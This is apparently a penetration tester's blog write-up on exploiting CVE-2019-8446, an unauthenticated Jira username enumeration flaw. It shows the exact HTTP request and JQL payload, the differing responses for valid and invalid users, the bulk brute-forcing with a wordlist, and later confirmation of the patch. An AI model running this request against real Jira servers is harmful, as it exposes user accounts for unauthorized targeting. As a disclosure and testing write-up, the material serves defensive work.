Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Jira Username Enumeration (CVE-2019-8446)

I got to perform some Jira username enumeration on a recent engagement, and I wanted to share the write-up on it.

Jira Username Enumeration – Introduction

I was poking around in the TALOS vulnerability reports one day and saw the following disclosure pop-up.

Jira Username Enumeration - Disclosure

Looking at CVE-2019-8446, this seemed like a straightforward vulnerability to exploit.

This was only a few days after the disclosure, so I was hoping that my 1-day attempts would be successful. If it worked, I’d be able to grab a list of users on my target’s Jira system, and hopefully their entire domain!

Testing the Vulnerability

First, to verify that I had the request correct, I sent a valid JQL query to the issueTable endpoint. I ensured that I had a raymond.doyle user on the target, to prevent any false-negatives.

POST /rest/issueNav/1/issueTable HTTP/1.1
Host: jira.target.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
X-Atlassian-Token: no-check
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 50

jql=project in projectsLeadByUser("raymond.doyle")

As you can see, when I provided a valid username, the server responded with a JSON body that had an issueTable.

HTTP/1.1 200 
Date: Fri, 20 Sep 2019 19:17:08 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Set-Cookie: [Cookie]
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-ASEN: SEN-9487263
Cache-Control: no-cache, no-store, no-transform
Content-Length: 600

{"issueTable":{"columnSortJql":{"issuekey":"project in projectsLeadByUser(raymond.doyle) ORDER BY key ASC","created":"project in projectsLeadByUser(raymond.doyle) ORDER BY created DESC","updated":"project in projectsLeadByUser(raymond.doyle) ORDER BY updated DESC","status":"project in projectsLeadByUser(raymond.doyle) ORDER BY status DESC"},"description":"","displayed":0,"end":0,"issueIds":[],"issueKeys":[],"jiraHasIssues":true,"page":0,"pageSize":50,"startIndex":0,"table":[],"title":"","total":0,"url":"","columns":["issuekey","status","created","updated"],"columnConfig":"USER"},"warnings":[]}

Next, I sent an invalid username to the endpoint, to confirm the differences in the response.

POST /rest/issueNav/1/issueTable HTTP/1.1
Host: jira.target.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
X-Atlassian-Token: no-check
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 49

jql=project in projectsLeadByUser("invalid.user")

As you can see, if you provide an invalid username, then the response is completely different. The server returns a 400 error, along with a body mentioning that the user does not exist.

HTTP/1.1 400 
Date: Sat, 21 Sep 2019 00:55:53 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Set-Cookie: [Cookie]
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
Cache-Control: no-cache, no-store, no-transform
Content-Length: 149

{"errorMessages":["Function 'projectsLeadByUser' can not generate a list of projects for user 'invalid.user'; the user does not exist."],"errors":{}}

After verifying this vulnerability, I sent my valid request to Intruder and went to work. Using strupo’s username lists, I send 200,000 requests to the target in search of usernames.

I was able to get plenty of valid responses back, as you can see in this redacted screenshot.

Jira Username Enumeration - Users

Post Patch

Once my target deployed their patches, I went back and verified the fix.

As you can see, an unauthenticated user can no longer call the projectsLeadByUser endpoint, preventing the username enumeration.

HTTP/1.1 400 
Date: Mon, 28 Oct 2019 16:51:04 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Set-Cookie: [Cookie]
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
Cache-Control: no-cache, no-store, no-transform
Content-Length: 99

{"errorMessages":["Function 'projectsLeadByUser' cannot be called as anonymous user."],"errors":{}}

Jira Username Enumeration – Conclusion

This was a simpler vulnerability, but I caught it at the perfect time.

In the end, I was able to enumerate over 1500 unique users, which was awesome.

A vulnerability like this is something that a long-term adversary would likely exploit, so make sure that you confirm as well as patch as soon as possible

Stay tuned for more conference and CTF content, once I finish those posts!

3 Comments

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.